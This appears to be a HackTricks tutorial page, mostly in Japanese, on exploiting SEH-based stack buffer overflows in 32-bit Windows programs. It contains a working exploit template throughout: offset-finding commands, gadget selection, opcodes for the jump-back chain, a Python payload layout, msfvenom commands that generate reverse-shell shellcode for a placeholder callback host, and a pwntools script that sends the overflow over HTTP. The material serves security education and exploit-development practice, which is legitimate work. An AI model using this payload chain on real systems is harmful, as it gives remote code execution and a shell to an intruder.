Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

SEH-based exploitation は、スタック上に格納された Structured Exception Handler チェーンを悪用する古典的な x86 Windows の手法です。スタックバッファオーバーフローが次の2つの4バイトフィールドを上書きすると、

  • nSEH: 次の SEH レコードへのポインタ、そして
  • SEH: 例外ハンドラ関数へのポインタ

攻撃者は次の方法で実行制御を奪取できます:

  1. SEH を保護されていないモジュール内の POP POP RET ガジェットのアドレスに設定し、例外がディスパッチされるとそのガジェットが攻撃者制御下のバイト列にリターンするようにする、および
  2. nSEH を使って実行を(通常は短いジャンプで)シェルコードが存在する大きなオーバーフローしたバッファへ戻す。

この手法は 32-bit プロセス(x86)に特有です。現代のシステムでは、ガジェット用に SafeSEH と ASLR の無いモジュールを選ぶと良いです。C-strings や HTTP パースの影響で、0x00、0x0a、0x0d(NUL/CR/LF)などがしばしば使用不可の文字になります。


Finding exact offsets (nSEH / SEH)

  • プロセスをクラッシュさせて SEH チェーンが上書きされていることを確認する(例: x32dbg/x64dbg では SEH view を確認)。
  • オーバーフローさせるデータとして cyclic pattern を送り、nSEH と SEH に入る2つの dword のオフセットを算出する。

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

その位置にマーカーを置いて検証する(例: nSEH=b"BB", SEH=b"CC")。クラッシュを再現可能にするために合計長は一定に保つ。


POP POP RET (SEH gadget) を選ぶ

SEHフレームを解除して nSEH バイトに戻すために POP POP RET シーケンスが必要。SafeSEH が無く、理想的には ASLR も無いモジュールで探す:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

リトルエンディアンで書き込んだときに badchars を含まないアドレスを選ぶ(例: p32(0x004094D8))。保護が許すなら脆弱なバイナリ内の gadget を優先する。


Jump-back technique (short + near jmp)

nSEH は 4 バイトしかないため、最大で 2 バイトの short jump(EB xx)とパディングしか入らない。バッファ先頭に到達するために何百バイトも戻る必要がある場合は、nSEH の直前に 5 バイトの near jump を置き、nSEH からの short jump でそれにチェーンする。

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

nSEH が offset 660 にある1000-byte payload のレイアウト案:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

実行フロー:

  • 例外が発生し、ディスパッチャーは上書きされた SEH を使用する。
  • POP POP RET がスタックを巻き戻し、我々の nSEH に到達する。
  • nSEH は jmp short -8(5バイトの near ジャンプ)を実行する。
  • Near ジャンプはバッファの先頭に着地し、そこには NOP sled + shellcode が存在する。

無効なバイト (badchars)

完全な badchar 文字列を作成し、クラッシュ後のスタックメモリを比較して、ターゲットのパーサによって破損するバイトを除外する。HTTPベースのオーバーフローでは、\x00\x0a\x0d はほとんど常に除外される。

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

msfvenomをbadcharsとともに使用してください。小さなNOP sledは着弾位置のばらつきを吸収します。

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

オンザフライで生成する場合、hex形式はPythonに埋め込んでunhexするのに便利です:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

HTTPでの配信 (正確な CRLF + Content-Length)

脆弱なベクトルがHTTPリクエストボディである場合、正確なCRLFsとContent-Lengthを指定した生のリクエストを作成し、サーバがオーバーフローしたボディ全体を読み取るようにする。

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

ツール

  • x32dbg/x64dbg — SEHチェーンを観察しクラッシュをトリアージするため。
  • ERC.Xdbg (x64dbg plugin) — SEHガジェットを列挙する: ERC --SEH.
  • Mona — 代替として: !mona modules, !mona seh.
  • nasmshell — 短い/近距離ジャンプをアセンブルし生のオペコードをコピーするため。
  • pwntools — 正確なネットワークペイロードを作成するため。

注意と留意事項

  • x86プロセスにのみ適用されます。x64は別のSEHスキームを使用しており、SEHベースのエクスプロイトは一般的に実用的ではありません。
  • SafeSEHとASLRのないモジュール内のガジェットを優先してください; さもなければ、プロセスにロードされている保護されていないモジュールを見つけてください。
  • クラッシュ時に自動で再起動するサービスのウォッチドッグは、反復的なエクスプロイト開発を容易にすることがあります。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする